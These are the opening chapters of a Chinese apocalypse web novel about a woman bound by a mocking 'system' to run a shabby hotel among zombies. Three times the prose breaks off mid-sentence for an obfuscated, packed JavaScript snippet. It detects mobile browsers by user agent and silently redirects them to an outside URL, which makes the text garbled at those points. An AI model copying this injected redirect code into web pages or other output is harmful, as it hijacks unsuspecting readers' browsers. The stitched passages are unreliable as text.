《亲爱的末日（无限流）》 1. 母鸡、绵羊和蜥蜴进行曲1 末日第三年。 何莱站在一家又老又破的旅馆门口，迟疑地推开厚重的玻璃大门。 头晕得很厉害，什么也记不起来。 自从她醒来之后就一直昏昏沉沉，周围是陈旧破烂的建筑，杂乱不堪的街景，和大脑一样荒芜。 四周到处都涂抹着可疑的深色痕迹，浑浊的难闻气味中隐秘地透露出一股令人不安的血腥。 何莱努力地睁大双眼，反复回想，试图弄清现状，但最终她一无所获。 她听见不远处传来嘶吼与惨叫，有人群在狂奔的脚步声，重物砸落在地的响动，也有胡言乱语咒骂和痛哭的嘈杂，但自己身处的这片区域却空无一人，近乎“安静”得有些诡秘。 她再度环顾，发现只有这家还开着灯的小店，一眼望过去像是间旅馆。 一扇玻璃门透露出内部的模样：木板拼搭出的简陋单人接待前台桌，看上去有些年头了。还有桌上摆着的一盏古朴台灯，从玻璃盏内透露出温暖的昏黄色，营造出的舒适氛围令人倍感镇定，于是她情不自禁被吸引着往店里走去。 像是一处从天而降的庇护所。 何莱伸手推开大门，没有上锁，也没有任何人出声阻拦，就这样轻松地接纳了她的进入。 “......有人吗？”她迟疑地出声，脑袋环顾一周，这里寂静得像是只有她的存在，于是何莱再往前迈一步，打量起面前的接待桌来。 粗糙的桌台上摆着一枚小巧的金属徽章，其上草率地镌刻着两行文字，制作不算太精良，刻字甚至没有居中对齐。但至少干净且崭新，已经是这片看起来彻底遗失文明的区域中唯一闪闪发光的存在。 酒店经理 何莱 喔。何莱停下脚步，她虽然失去几乎全部记忆，但冥冥之中对于自己的名字还是倍感熟悉。 她忍不住心想，如果她是个酒店管理专业的学生，此刻一定感动得不行。这一上来就是多么高规格的实习待遇啊......等等，这不是重点。 “叮叮叮叮叮！！” 当她的手指刚刚触碰上徽章，一个吵闹欢快的机械音就在耳边乍然响起，丝毫不觉得突如其来的高音量惊吓会对末日中本就惊恐的人类造成多么强烈的精神刺激。 “系统提示：特殊NPC已觉醒！” “系统提醒：特殊NPC任务加载中——” “嗨嗨！”机械音欢脱的叮铃哐当不断响起：“请先为这个破破烂烂的旅馆取个名字吧，亲爱的何莱店长，我将在未来的时间里忠实地协助您在末日中打造一流酒店，承托人类文明延续的光辉重任！” “等等。”何莱身处其中，却显得十分镇定：“先说你是谁？这是梦还是精神病院？以及——”她用手指点了点已经捏在手中的徽章：“这上边写着，我应该是经理。你为什么叫我店长？” “当然不是梦，尊敬的店长。”机械音严肃起来：“您是本店第一千七百位被选中的继承人，在此之前共有五十人成功通关脱离世界副本，以酒店经理的身份。”随后，机械音卡壳一秒：“您......您目前还是先被称呼为店长比较好，何莱店长。等到了我能够称呼你为经理而不为此感到羞愧的那一天再来试着申请更换头衔吧。”系统的声音里透露出一股嫌弃：“这店现在可破着呢。” “......那，呃。你们这个——副本，失败率还挺高哈。”何莱被噎了一下，憋了半天挤出一句话来，她无意识地抚摸着手中的徽章，这枚徽章不知道究竟是由什么材质做成的，一直躺在她的掌心里闪闪发光，异常闪烁。 她盯着徽章看了一会，难以控制地心生喜欢，干脆将它别在自己的T恤领口：“总之，先告诉我这是哪。还有，你是谁？” “喔，店长！您适应得很快。这很好。上一位被丢到这儿的店长听完开场白就崩溃了。真不知道他有什么好哭的，外边都是怪物，我提供了庇护，结果他自己发疯似的逃出去送餐了，徒留我一个智能生命继续陷入漫长的等待，我才应该哭吧！”机械生命说：“如果我具备流泪的功能——” “然后他怎么样？”何莱问。 “在两条街区外被三只丧尸分食了，肠子都扯成了五截。你瞧，我之前为那些死去的名字浪费了这么多的徽章啊。制作徽章的材料就这样被无意义地耗费掉了，就和他们的小命一样。” 它随即补充：“但是再上一任就聪明些。虽然他也不太乐意担此重任......进门前还在外边扯着嗓子喊了半天，性情真是十分多疑。总而言之。那个谨慎的家伙没有进入店里，脱离了我的帮助，倒也迅速适应了这个世界。他选择成为一名投入进末日的冒险生存者，加入了外边那些打打丧尸抢劫别人然后艰难求生在每个深夜悲从中来失声痛哭质问世界为什么如此残酷的悲惨人士行列。”系统补了一嘴：“他自找的嘛。” “然后呢？”何莱继续追问。 “当然是千辛万苦地摸索到了一个人类基地咯。在上缴完所有的物资之后获得了一个居住权名额。天呐，那表情，我差点想调出来给你看。他如释重负地感激涕零自己当时无比正确的英明选择。”系统说：“我观赏了一会，然后我把他抹杀了。” “喔，那真好。等等，什么？”何莱大惊失色。 “脱离NPC主线任务，不能为主角团提供帮助，将被处以抹杀。”系统欢快的音乐重新响起：“那么现在，站在我面前的这位——嗯，足够聪明又足够胆小的新店主，你运气很好地活着听完了规则，弄清楚了状况，来为你的新店取个名字吧！” “......”何莱掐了掐自己的脸：“等等，等等。我想我至少也需要稍微冷静一下。” “给您十分钟。否则我就判定你为脱离主线任务，亲爱的店主大人。”系统不紧不慢地回答，还调整了更亲密的称谓。 “翡翠！”何莱脱口而出：“就叫翡翠酒店怎么样？” 她用手指向玻璃：“我——刚才进来的时候发现玻璃门上有脏东西，是绿色的……” “嚯，取名可真够随意的。”系统说：“那是刚变成丧尸的倒霉蛋们的胆汁，等会我帮你找个抹布，去擦干净。” “谁去擦？我吗？” 时间过去十分钟，终于“弄清状况”的新任店主何莱抱着一把扫帚沉重叹气，站在玻璃门前掰着手复盘着现状。 首先，她进入末日了。这竟然是真的。 其次，根据系统透露，这间旅馆在她死亡之前都属于她，至少系统现在是这么保证的。丧尸无法随意推门走进says hi并且，这些怪物在这附近一条街区范围内的出没概率被显著降低了。这大概是唯一的安慰。 何莱想到这里，又叹了一口气。 最后，NPC只是NPC. 系统严肃地反复向她强调这一点，希望何莱不要误解。她并不是什么故事中被选中的主角，不会有奇迹般的传奇冒险开场，没有特殊的待遇和金手指，有的只是异世界继续打工的命运：还没有五险一金。 “很值得一提的是，你在旅馆内也可能会遭受到别人施加的伤害，记得小心点。比如有人攻击你的话，你会受伤，可能会死……对了，长时间不进食的话，你会死。一直生病的话，你也会死。我的职责不包括确保你存活。还有，我们这里没有机器人帮忙做保洁，但是有扫帚间。”系统愉悦地解释：“未来根据你选择的旅馆发展路线，或许可以囚禁一些干活的奴隶或者雇点儿什么走投无路的可怜虫。” 系统顿了顿：“你知道的，你基本上是靠收留旅客来在这个世界上存活。无论是剥削他们还是团结他们，人多力量大，反正就是这么用的。” “既然如此，那么我究竟靠吃什么活着呢？”何莱店长举起手，认真提问：“我真的很怕饿死。” “我们终于聊到点子上了。”系统说：“你来的路上看见外边的那些丧尸没有？它们的脑袋比较柔软。” “你的意思是——？”何莱比划两把，表情呆滞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571862|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统刚才暗示她要吃什么？ “当然不是。” 趁着新来的店长被吓傻的空当，系统抓紧时间飞快科普：“在开始谈待遇之前，先让我为你朗读一下这份劳务合同，亲爱的店长。首先，小店会升级。每当你拥有了10名新增旅客时都会触发升级，一直到酒店发展成完全形态。” “在这个世界里，丧尸死亡以后有十分之一的概率掉落晶核，而晶核对于外边的人来说，是一种有概率激活与强化超能力的道具，到目前为止衍生出的超能力派系广泛，并且超能力者数量十分罕见。曾经有基地高层狂吃几十颗晶核未激发超能力一怒之下被噎死的传闻。” “丧尸也有强弱之分，和什么有关？嗯……和遇见他们的人的运气有关吧。你知道的，运气差一点你就遇见强悍的丧尸然后死掉。运气好一点你就和弱小的丧尸自由搏击然后活下来，欢迎来到真实世界。” “嗯，所有丧尸掉落的晶核与掉落概率都没有任何区别。和它们的强弱无关，非要说的话还是跟运气有关吧，你平时手气怎么样？” “至于人类超能力……具体的细节你不需要知道，店长。你毕竟只是个NPC，需要关注的世界不在外边。别着急，我已经向上边反应这有点儿涉及职业歧视了。”系统说：“但你先忍忍吧。从你赋予这个……呃，你擦干净玻璃没有？快点的吧，自从你赋予翡翠酒店这个名字开始，就正式进入了主线任务。何莱店长，你已经被纳入了我们的保护系统。”系统很灵魂地沉吟了一声：“恭喜！外边的风风雨雨都和你无关了，你只需要勤勤恳恳地为主角团队做一个三好保姆，成为他们的安全屋与善后处理人，并且在每一个关键时刻挺身而出帮助他们渡过难关，把他们送去拯救世界就好了。” “你还是没有说我吃什么。”何莱说：“所以我还是要吃丧尸脑子里挖出来的东西才能活下去吗？” “很有趣的提醒方式，店长。我们等会再说你的生存问题，我会给你水和面包——但不是免费的。先到你的工位上去，我们的教学阶段还没结束。” “我还以为自己可以做那种站在前台后边机械式迎宾的流水线甩手掌柜。”何莱握住了扫把，干巴巴地开口：“但我现在听起来像是英雄故事里那个负责拉开城堡大门的管家。还是城堡里人力资源比较匮乏的版本。” “是的。NPC当然要996，店长，但你是特殊的。高自由度也意味着承担责任，作为未来的经理，要运营一间大酒店可不是那么容易的事情。不仅取决于你匹配到的主角团队是否靠谱——如果遇上地狱模式比如一个赛一个的王八蛋就可以考虑下重开了。”系统说：“相信我，你的每一个决策也都至关重要。” “所以我还要007？好吧，我大概什么时候能知道主角们在哪儿？”何莱耸耸肩，很好脾气地说道：“请问少爷公主们什么时候到？好歹让我做个准备仪式迎接一下吧。” 系统却骤然沉默了下去，发出一阵哐当的响动。 “什么？”何莱忧心地抖开抹布：“怎么了？发现他们都是王八蛋吗？” “啊亲爱的店长......恐怕要比这更糟。在你的世界里，主角团队已经全部完蛋了，两天前。”系统的声音有些犹豫：“理论上来说我们的主线任务已经失败了。他们、他们都死了。” 何莱从善如流地叠起抹布：“很遗憾听到这个消息，那么你现在可以放我回去——就是，想办法让我醒来吗？” “这里是现实不是你的某个梦境！店长大人，你走不掉了。现在抹杀你不太合适……等等，其实也行……我再试试，咦，奇怪。”系统发出一阵更加慌乱的哐当声：“怎么会没有权限呢？” “真是奇怪了......”它嘀咕一句，随后顾及到何莱旁听的感受，体贴解释：“可能是因为你已经正式绑定了酒店。我刚才虽然想抹杀掉你，等待新的店长刷新和对应的主角团队重新降临，但失败了。”它惋惜地补充一句：“亲爱的店长，恐怕你的运气实在太好了。” 2. 母鸡、绵羊和蜥蜴进行曲2 “......”何莱扯了扯嘴角：“你管这个叫运气好？” “事已至此。我们就继续说回正事吧，店长。”系统忽然欢快地播放起一段背景旋律：“我会在前期照顾好你和你的客人们——随着酒店升级，不断赋予你一定的权限和酒店功能提升。但随后到达一定人数，每一次升级我都会相应地剥夺对你的帮助。” 何莱揉着额头。 她强烈怀疑系统只是为了转移刚刚那令人尴尬的话题，但很快她就面色凝重地抬起头：“等一下。是不是搞错了？为什么你后期要剥夺对我的帮助？” 系统没有解释，冷酷地打断她：“想想吧，亲爱的店长。当你的旅馆在我的帮助下发展顺利，主角团也站在你这一边，收纳了上百甚至更多的客人需要喂养。忽然有一天我不再向你供应任何食物与水资源……或许就在一夜之间，这里从天堂变成地狱。” 何莱硬生生打了个寒颤。 “如果运气好，遇上靠谱的主角团，你就可以分享苦恼，他们会为你寻找到一个妥当的处置方式。你知道的，被命运偏爱的主角们嘛，总是无敌的。”系统感慨。 “是啊，那现在去哪里找主角团呢？”何莱耐着性子问。 系统沉默了两秒。 “……所以我提前告知你危机所在了。”系统说：“早做准备吧，你必须尽快拥有应对越来越复杂处境的能力。” 它想了想，又小心翼翼地补充：“不用谢？” 何莱没有理它。 系统说：“天很快又要黑下来了，店长。今天晚上不会有客人拜访，一般都是留出来给你们接受现实和啜泣用的。明天我会开放兑换渠道，你可以用外边的晶核向我兑换基础的食水，但不要太依赖这个渠道，就像我刚才说的，它在未来绝对会消失。”末日里从不养闲人。 何莱一动不动。 “好吧，在你的店长房间里有定期更换的基础日用品——这是我唯一能为你做的，它将一直供应下去，但只有一人份。”系统开始自说自话。 “你的兑换渠道听起来像是一个陷阱。”何莱突然开口说：“诱惑着历届店长们放松下来发展事业，然后在某一天忽然面对着巨大规模的断供被自己培育出来的酒店压垮。” “是的，这其实也是针对主角团队的陷阱。他们和你一样，如果太沉溺于外界帮助，就会一起被末日覆灭。毕竟乌托邦总是会消失的，一味依赖而非借助力量发展自身，死亡就是最好的惩罚。”系统点评：“但你不一样，亲爱的店长，毕竟你现在已经意识到了这件事。你会在一次又一次的升级中获得更高的酒店掌控权限，得到成长。”系统停顿片刻：“再然后，你就会为我带来精彩的故事，我很期待你未来的表现。” “嗯。你说的成长......该不会是得到了锻炼或者一颗勇敢的心这之类鬼话吧？”何莱怀疑地开口，露出一副“我看穿你们资本家”的表情。 “当然不，我亲爱的店长！我从不欺骗你们。到了最后，你一定会得到实实在在的好处，只是现在还没有到下一次升级的时候。”系统急忙替自己辩护：“等你体验过一次，就会明白努力是会收到回报的！” “好吧。”何莱走到门前，擦干净玻璃门上的污渍，像是察觉到了什么，扭头望向前台：“那我算客人吗？” “......”系统可疑地沉默一下，随后懒懒散散地响起提示音：“叮咚！恭喜达成1人入住成就，已解锁店长房间，已解锁二层旅馆。” 何莱扭过头来盯着前台后边忽然浮现的房间门把手。 “去你的房间里看看吧，店长大人。接下来的很长一段时间，这都将是你自己的家了。”系统说。 “我发现你这里的规则还挺灵活的。” 何莱没有理会系统的催促，一边吐槽一边再次扭头四顾周围——自从她来到这个世界，做这个动作就已经非常熟悉了。 如果从天空视角俯视这间又小又陈旧的旅馆，就会发现这是块长方形布局。 进门的左手边是简陋前台招待桌与后边那扇可怜的小房间门，右手边是一块看起来很硬的劣质布艺沙发，这就是一楼接待区域的全部了。 何莱抬起头，望向正对着大门的陡峭楼梯，那几乎称得上摇摇欲坠，是最原始的收缩架子。 “要上去吗？” 她长叹一口气，抬起手抓住它，用力地将重量压向小臂，试探着扯了两下。 架子没掉下来。可喜可贺。 系统没有回答，但沉默暗示着新任店长上任应该去巡逻一圈。 “行吧。” 何莱认命地嘀咕一声，在身上擦了擦手，蹬了上去，费力地开始爬行。 她来到二楼。 二楼的长走廊在夜幕即将降临时分显得非常幽静，地板是古朴的木质，没有毛毯，踩上去发出闷响。头顶的灯光忽明忽暗，走廊两边各十扇木门一字排开，何莱缩紧脖子，屏息缓慢地推开距离她最近的一间。 “哇喔。”何莱忍不住叹气。 里边摆着极为原始的两张床与桌椅，床板上压着一块很薄的床垫，草草裹着白色床单。同时深色木头家具散发出奇怪的味道，被尘封在这里太久，浑浊惹人头晕。在房间的角落里有个窗户，何莱踩着嘎吱嘎吱的地板走过去，利落地打开通风透气，伸出头向外望了望，眯起眼看向远处的落日。 “这看起来像上个世纪的布局。”何莱说着走进卫生间，猛地闭上眼睛：“这里好奇怪。我能祈祷自己的房间不这样吗？” “你的房间稍微好一点。”系统说：“你看起来对装修很有意见啊，浅绿色有什么不好？”它指的是卫生间里铺天盖地的绿色物件。 “嗯......”何莱嘀咕，没什么不好，只是当它同时出现在洗手池和马桶上的时候，让她感到一阵怀旧。 这感觉很熟悉。 何莱努力地回想一阵，刚才那阵转瞬即逝的感觉却又迅速消散了。 何莱拧开水龙头，抬起脸照了照一看就很便宜的模糊镜子，嘲讽地嘀咕一声：“难怪之前的店长都跑了呢。我觉得客人进来后也会都跑掉。这里简直像是人皮客栈的翻拍取景地。” “你没进来之前可不是这么说的。”系统懒洋洋地应了一声：“这里至少很宽敞，不是给你住的。爬下去，前台后边的扫帚间才是你的归宿。” “这简直让我怀疑等会儿就有叼着信封的猫头鹰过来在我的额头上啄个闪电型的疤。”何莱费力地爬下去，又绕到前台后拉开小门——门轴已经锈迹斑斑，发出一阵令人牙酸的声音。 “什么，我住这里？” 狭窄的空间里是一张更窄的单人床，刚好够翻身。 何莱站在扫帚间里抱着双臂，抬起眉问系统：“我进来之前说什么了？” “你痛哭流涕求我放你进来。”系统调侃：“这么快就忘了？”“我压根不记得这件事。”何莱听着系统胡诌，面色紧绷。 “你也没办法证明它是假的嘛。”系统不依不饶。 她弯腰打开一旁的木头柜子，里边有两套换洗的衣服，黑色西装裤搭配白衬衫，还有一副备用眼镜。 “你真贴心。”何莱对着备用眼镜松了口气，又低头看了眼身上的骷髅T恤：“我自己的衣服有什么不好？都末日了还要穿工作制服吗？” “对。” 绝对值得喜极而泣的是，即使在这样艰苦卓绝转身需要当心的环境里，系统依旧为她隔出了一小块独立的卫生间。虽然远远不如楼上的宽敞标间足够放松身心，但何莱依旧充满感激。 她心想，毕竟要用楼上那些破破烂烂的旧房间吸引客人入住已经很困难了，但凡让客人发现半夜还会有老板爬上来借用洗手间——“你不会觉得这里的待遇算糟吧？” 正当何莱恶趣味地腹诽着旅馆的黯淡未来，系统的声音却突然贴在她的耳边响起，强烈的不舒服的窥探感让何莱迅速往前踏了一步，甩了甩脑袋。 “等你真正了解这个世界之后就不会再这么想了。”系统的声音在刻意降低过后变得很沙哑，间断地传出嘶嘶电流声：“外边的人，那些没进去基地在四处游荡求活路的人，都愿意为这里的一个房间杀人。”接着它换了一个方向贴近何莱，在口吻里渲染了大量的恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571863|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓低语：“大部分失败的店长都是在一开始就把自己给搞死了。你要精挑细选第一批客人，尊敬的店长……你知道，现在你甚至连锁上自己房门的权限都没有。一旦召来了棘手的客人酿成灾祸，恐怕您要被活生生地杀死在自己的房间里啦。” “任何生物在被杀掉的时候都是活生生的。”何莱冷静地吐槽道：“你的意思是，我需要在初期尽可能收集老弱病残的客人来保证安全，同时达成人数，解锁升级获得更多的权限？”她歪了一下脑袋：“这算作弊提醒吗？” “没错。透露一下，后期您有资格锁上自己的卧室门。” “……我真期待。还有呢？” “还有什么？”系统恢复了正常的声音。 “比如我能拥有超能力吗？或者一些——” “不能。”机械音冷酷地截断了她的话头，再一次重申强调起了那个话题：“外边的世界与您基本无关。NPC就只是NPC，亲爱的店长。后期您将逐步解锁对于酒店的掌控权，包括驱逐客人或改变布局，甚至发布律法等等，当然听不听就要看客人们了。”系统微妙地停一停，做出总结。 “总之，一切优待都只是为您的经理工作而服务，请不要误认为您拥有拯救世界的使命。也不要认为会拥有主角们的特殊待遇。” “明白了。”何莱脱下T恤：“一心一意打辅助的路线，是吧？我明白了。等到升级以后，如果客人们多次违反规则或者准备杀害我，我就将他们移出酒店，这是我唯一的自保方式，对吧？” “是的。”系统重新变得柔和起来：“您很聪明，懂得结合变通。以及，能够锁门以后在您的房间里就是绝对安全的，没有人类可以打开它。这是我为您争取到的最后一点小福利。” “如果，我是说如果，我猝不及防地在酒店内部的其余地方被刺杀了呢？”何莱举起问。 “那就别让这种事情发生，店长。”系统说：“管理好酒店是您的职责。我会从旁辅助的。” “那么，我该如何称呼你？”何莱皱起眉。 “随便。” “亲爱的管家。虽然好掌控的客人能够让我们相对安全地度过前期的脆弱时段，当然，如果有十个老奶奶群殴我的话依旧是不容小觑的威胁——但就像你说的，我要面对的危机考验会越来越多，客人的能力也将在后期发挥作用。你确定刚才的建议不会让我死得很郁闷吗？”何莱走进卫生间，对着镜子认真扣上衬衫纽扣，仰起脸盯着镜子里的那个人。 赛博管家沉吟了一会：“一般情况下，历届店长们在遇到难题时都会求助于主角团队，他们将是世界后期最主要的战力与智慧来源。我刚才根据常规指导原则，没有考虑到你在后期的独立发展问题。很抱歉，店长。我也是第一次遇见主角团全部死亡但特殊NPC还在喘气的情况。” “……没关系，我也是第一次做店长。而且我宽宏大量。”何莱走出来，扶了扶眼镜，从柜子里的第二格抽出一本软面的粉色笔记本：“现在我需要做一个计划。你刚才说我可以在酒店里发布法律？” “喔，您这里的规模目前还用不上法律吧，看起来至少未来很长一段时期都将停留在小型社群谈心谈话相互守望的约定俗成阶段。”系统说：“现在店里只有一个活人就让您感受到管理的压力了吗？” “不，我要发行货币。”何莱用翻出来的铅笔在纸上刷刷写下几个数字：“既然建设翡翠酒店已经是在所难免，我需要一个更有凝聚力的统治标识，货币形式是客人们进入这里后最早接触的规则，在未来也能进一步扩大我们的区域知名度与影响力。我要发行翡翠币，管家。一枚晶核兑换一枚翡翠币，面值分别是1、10、50和100.”何莱手上的笔不停歇：“未来我需要对外发布任务，报酬使用的翡翠币可以兑换旅馆提供的食水。一方面，用任务来让人们获得并使用翡翠币，我不用给出晶核就可以获得劳动力，培养他们对于这种货币的习惯和信任。另一方面，很快就可以说服他们用晶核来兑换我的翡翠币了。喔对，趁着你的渠道没有消失，你那里的水和食物怎么卖？可以先贷款一点给我吗？” 3. 母鸡、绵羊和蜥蜴进行曲3 “很上道，店主。我最近想卖盒饭，一份有米饭、盐炒鸡蛋和白灼青菜的不新鲜冷盒饭加小瓶过期矿泉水的进货价是1晶核，也就是1翡翠币。”系统发出砰砰的声音：“赠送一台桌面摆放的小型兑换机，固定在前台右侧了。旅客们会把带血和脑浆的脏兮兮晶核丢进去，滚出来可爱的圆形绿色筹码——你的翡翠币，它的工艺会确保很难在末日里被批量伪造。” “为什么你提供的食水听起来那么悲惨？”何莱在笔记本上认真记下：“那么我出售价格为2翡翠币一份。” “当然是为了保护你，亲爱的店长。积攒初始资金固然重要，但低调更是末日求生第一守则。如果在这里卖出红烧肉的话，我估计你的旅店撑不到第三天就会被攻陷，而你，未来的何莱经理，很可能也会被做成红烧肉。”系统说：“人工智能不接受贷款，但我决定赠送你十份套餐来收买人心，店长。因为你的奋力挣扎让我很高兴，让我被长久困在此地的无聊灵魂感到了一丝宽慰。在你到来之前我重复了太多遍毫无意义的规则引导，看着他们迫不及待地玩死自己。”系统高兴起来喋喋不休：“我遇见你的心情就像是你们人类小孩买到了一只互动性强的宠物那样，喔对了，你也可以选择跟随……不好意思，又忘记现在没有主角了。我本来打算建议你跟随主角们外出，在附近探索来获得晶核投入发展建设，当今世界NPC的活法十分多元化。” “我首先得填饱自己的肚子。”何莱打了个响指：“来一份免费的套餐试试。” “好嘞。”系统欢快地发出店小二的上菜声音。 盒饭装在白色泡沫纸盒里，一次性筷子被黄色皮筋绑在盒外。何莱谨慎地打开包装，冷掉的饭菜静静躺在里边。 “啊，真的不是红烧肉。”何莱说。 “店长，白日做梦显然不利于接受现实。” “我还以为我们之间的关系已经很好了。”何莱说：“真的一点后门都不开啊。” 鸡蛋炒得还算松软，散发特有的香气带来一阵满足的幸福感，过咸的口味很好地补充了末日所缺乏的盐分，能够让入住的客人们提振体力。青菜的叶子有些蔫，还有几处明显的虫洞，但总体还算保留了水份与纤维。米饭是夹生的，过期的矿泉水喝不出问题，就是盖子很难打开。 “还行。”何莱吃了个精光，言简意赅地点评了晚餐，然后开口：“我要出去一趟。” “什么？” “趁着今晚没有客人，我得了解附近的情况，这会影响到我下一步的决策。”何莱左顾右盼：“管家，有没有武器？” “床底下有扫帚。”系统干巴巴地说：“你不会今晚就死了吧？我刚觉得生活有声有色起来了。” “为我祈祷吧。”何莱趴在地上去够那把扫帚：“你就不能再给把刀什么的？” “原则上我们不鼓励酒店经理独自战斗。”系统的声音变得生硬起来：“因为当你离开酒店以后我就无法再帮上忙了。好吧好吧，祝你好运。就算你在第一个夜晚死掉了，也比过阵子死要好，至少节省了我投入太多的期待。” “人工智能不接受贷款，但是能体验失望吗？”何莱耸肩：“和你聊天很有趣，但别真演上了，管家。我还想了解一下，这个世界上的同类型旅馆多吗？像我这样的特殊NPC？” “有绑定系统的只有你这个被选中的酒店——或者说未来有可能成长为酒店的这间旅馆，我暂时还是不太想称呼它为酒店。你知道的，命运会指引所有的主角前往此处。”系统说：“至于普通的那些，有一些原生驿站。平均每个大型基地都会有外派的两到三个经营点，提供给来往的生存者们歇脚，也会对外售卖一些基地的溢出物资甚至是特色产出。因此来往的旅客一般都默认所有的驿站旅馆类经营场所背后是由官方撑腰，或者强势的超能力者。嗯......未来的日子里你或许可以依靠这个默认的共识狐假虎威一段时间，直到被人戳穿或者有主角奇迹般地重新诞生在你的世界。”系统喋喋不休：“你很幸运，附近的希望基地已经在不久前被尸潮攻破了。如果管理层死无对证，或许你可以用一用它的名头来解释自己的来源。哦对了，你还没有拟定住宿的价格。出去前记得用笔在营业板上写好价格。” 何莱磨了磨铅笔：“一晚上的住宿费用是1翡翠币，我会不会太好心了？” “为了尽可能招揽客人，这是可以接受的。”系统说：“写吧，写完我要休息了。把价格单贴在前台上。” “我以为你会帮我一键生成牌子，像徽章刻字一样摆在墙上面。”何莱说。 “不，不会的。帮你发行货币又上科普课程已经让我很累了。”系统说：“这样吧，我先去睡一觉，你自己看着来。” 翡翠酒店（划掉）旅馆 住宿：1翡翠币1晚 盒饭：2翡翠币1份（附赠矿泉水） 兑换：1翡翠币等于1晶核 何莱拍拍手，看着被贴在前台桌上歪歪扭扭的字条，转身就回了自己房间。她低头看一眼身上的职场套装，握起竖在墙边的扫帚，做了个深呼吸，转身大步迈出房间，一鼓作气推开了玻璃门，径直离开酒店。 “走了。” 随后寒风呼啸，这个世界的危险气息在一瞬变得鲜明，逐渐向着走出了旅馆的她渗透。自从她踏出第一步以来，系统就如它所言一般被切断了联系，再也没有与她有过任何交流。 何莱心想，也很合理。总不能在她未来即将被丧尸吃掉的时候还要给系统做实时通知播报或者要求它来点儿已经为时过晚了的安慰话吧。 她忍不住笑了一声。 为自己坠入这样的世界，也为当下诡异的处境和未曾停歇的脚步。 或许她真的能摸索着，尝试着，一步一步地在这个地方存活下来。何莱攥紧手中的扫帚杆，目光凌冽地站在寒风中，视线环顾扫向四处——系统没骗她，丧尸们的确不乐意没事往这一处走。 她一步一停一回头地走过半个街区，随时做好扭头就跑的准备，并在每一处转角都警惕地拉开一段安全距离，以防有丧尸躲在墙后。 再往前一步时，一把沾满鲜血的匕首猛地从墙后刺出，几乎是擦着她的脖子而过。何莱猛地后退，下意识地用扫帚挥舞过去，猛击在对方抬起的手臂上。 她听见男人的怒喝声，随后看见一个高个子男人从转角走出，手臂肌肉紧绷，将匕首横在身前，护着怀中沉睡的孩子，对她怒目而视，并没有因为察觉她是一个人而放松警惕。 “你是谁？”那男人低声问道，紧盯着何莱的动作：“这一片很少人会出现，刚才我只听见脚步声，还以为你是丧尸。” “你好歹看一眼吧。”何莱握住扫帚，也盯着他缓缓地往另一侧走去，拉开两人的距离：“你又是谁？我是最近才过来的。” 自从进了这末日，何莱觉得自己越来越具备NPC潜质了。具体表现为熟练掌握“你是谁啊？”和“你又是谁啊？”两种常用社交短语。 那男人看起来三十来岁出头，脸色发青，黑眼圈极重，嘴唇干裂得都是血丝，下巴处都是未打理长出的胡茬，块头挺大。他抱着的孩子一直没有睁开眼睛，看起来状况不算太好。听见何莱的提问，男人紧抿着唇没有回答，也默契地拉开了距离。 两人都没有因为对方是落单女性或者带着孩子而放松警惕，打了个匆匆地照面就继续各自赶路，何莱迅速将偶遇抛至脑后，心有余悸地摸着脖子继续绕着附近的街区赶路。 她要确认两件事，第一，末日真的降临，她要亲眼见到丧尸并且对它们的速度、攻击形态和敏锐度有基本的判断，而不是一直窝在酒店。第二，她要趁着没有客人的第一晚对附近的环境有基础了解，以防未来遇到突发情况发现自己没有在外生存的能力。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571864|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >以及，何莱心想，这一片的丧尸确实相对较少，如果能确认这一点，那么这块就会是未来她主要活动的区域了。她不想像系统说的，一直待在酒店里不出去。 那不符合她的个性。 何莱沿着酒店外的两条街区转了两圈，确认自己已经将线路记熟，重点留意了一些可能在将来为她提供躲避的房屋，和一些已经被洗劫砸毁的物资点，遇见了零星几只游荡的丧尸，躲起来观察一阵，大概有了把握，这些怪物行动迟缓，有跟随声音的特点，目前还不确定是否对气味敏感，何莱试着对一只落单的丧尸拉近距离，发现它并未察觉，最终还是摁下了初来乍到就靠扫帚单挑一只的冲动。 何莱缓慢地从垃圾桶后蹲着撤出，准备结束今夜的短暂探索回到酒店休息，当她手脚并用地从一条刚被发现的近路小巷里爬出来时，就看见了一摊血人抱着怀里一团不知道什么东西倒在十米外，旁边支离破碎地躺着几只被杀死的丧尸，和一颗闪着盈盈绿光的晶核，静静地躺在那片血肉中。 她站起身来，提高警惕望向周围，然后再低头仔细分辨，正是刚才那位遇见的男人。 “还活着吗？”何莱开口，随后就听见几声虚弱的咳嗽。倒在地上的男人一手护着怀里昏迷的孩子，另一只手紧紧握着那把杀掉所有丧尸的匕首，睁开一只布满血痂的眼睛，恶狠狠地盯向她。 何莱后退半步，举起扫帚试探性地递了过去：“能站起来吗？扶着它，我的旅馆就在前边，那里很安全，有水和食物……但是没有药。” 